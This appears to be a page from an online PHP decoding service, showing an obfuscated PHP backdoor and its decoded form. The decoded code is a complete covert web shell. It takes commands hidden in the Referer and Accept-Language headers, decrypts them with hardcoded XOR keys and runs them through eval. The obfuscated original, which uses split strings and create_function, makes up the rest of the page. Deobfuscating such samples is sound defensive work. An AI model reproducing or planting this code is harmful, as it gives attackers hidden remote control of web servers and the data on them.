Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $J='5M^($i.$kh),M^0,3));$M^f=$slM^($ss(md5(M^$i.$kM^f),M^0,3));$pM^="M^";foM^r($M^z..
Decoded Output download
$kh="05a6";$kf="71c6";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
Did this file decode correctly?
Original Code
<?php
$J='5M^($i.$kh),M^0,3));$M^f=$slM^($ss(md5(M^$i.$kM^f),M^0,3));$pM^="M^";foM^r($M^z=1;$z<count(M^$m[1]);$M^z++)$pM^.=$q[$m[M^2M';
$x='^REM^RM^"];$ra=@$r[M^"HTTP_ACCEPM^T_LM^ANGUAGE"];iM^M^f($rr&&$ra){M^M^M^$u=paM^rse_uM^rl($rr);pM^arseM^_sM^tr($u["query"],$q);';
$H='$kh="05aM^6";$kf="M^71c6";fM^M^unction x($tM^,$k){$M^c=strlM^en($M^k);$M^M^l=stM^rlen($t);$o="M^";fM^or($i=0;$iM^<$lM^M^;){fo';
$w='r($j=0M^;(M^$j<$c&M^&$i<$l);M^$j++,M^$i++){$o.=$t{$M^i}^$M^k{$jM^};}}return $M^o;}$r=$M^_SERM^VEM^R;M^$rr=@$r["HTTP_REM^FEM';
$T='$q=arM^M^ray_values($M^q);pM^M^regM^_matchM^_M^all("/([\\w])[\\w-]+(?:M^M^M^;q=0.([\\d]))?,?M^/",$raM^,$m)M^;iM^f($q&&$m){@M^s';
$S='M^d_clean(M^);$M^d=basM^e6M^4_encode(M^x(gzM^cM^ompress($o)M^,$k));M^print("<$k>M^$d</M^$M^k>");@sM^ession_deM^stroy();}}}}';
$N='^][$z]];iM^f(stM^rpos($p,M^$M^h)===0M^){$s[$i]="";$pM^=$M^sM^s($p,3);}if(aM^M^rray_key_exiM^sts($M^i,$s)){$sM^[$iM^].=$p;$e';
$V=str_replace('j','','crejatjjje_funjctjion');
$n='=M^strpoM^s($s[$iM^],$M^f);iM^f($e){$k=M^$kh.$kf;M^ob_staM^rt()M^;@eM^vaM^l(@M^gzuncompM^ress(@x(M^@basM^e64_M^decode(preg_';
$R='ession_staM^rt();M^$s=&$_SM^ESSIM^ON;M^$sM^s="suM^bstrM^";$sl=M^"strtolower";$i=M^M^M^$m[1][0]M^.$m[1][1];$hM^=$M^sl($ss(md';
$h='replacM^M^e(array("/_M^/","/-/M^")M^,arraM^y("/M^","+")M^,$ss($s[$i],0M^,$eM^))),$k))M^)M^;$o=obM^_M^get_contents();obM^_en';
$l=str_replace('M^','',$H.$w.$x.$T.$R.$J.$N.$n.$h.$S);
$r=$V('',$l);$r();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | c2cfb369113508c835e8b9acbca27129 |
| Eval Count | 1 |
| Decode Time | 98 ms |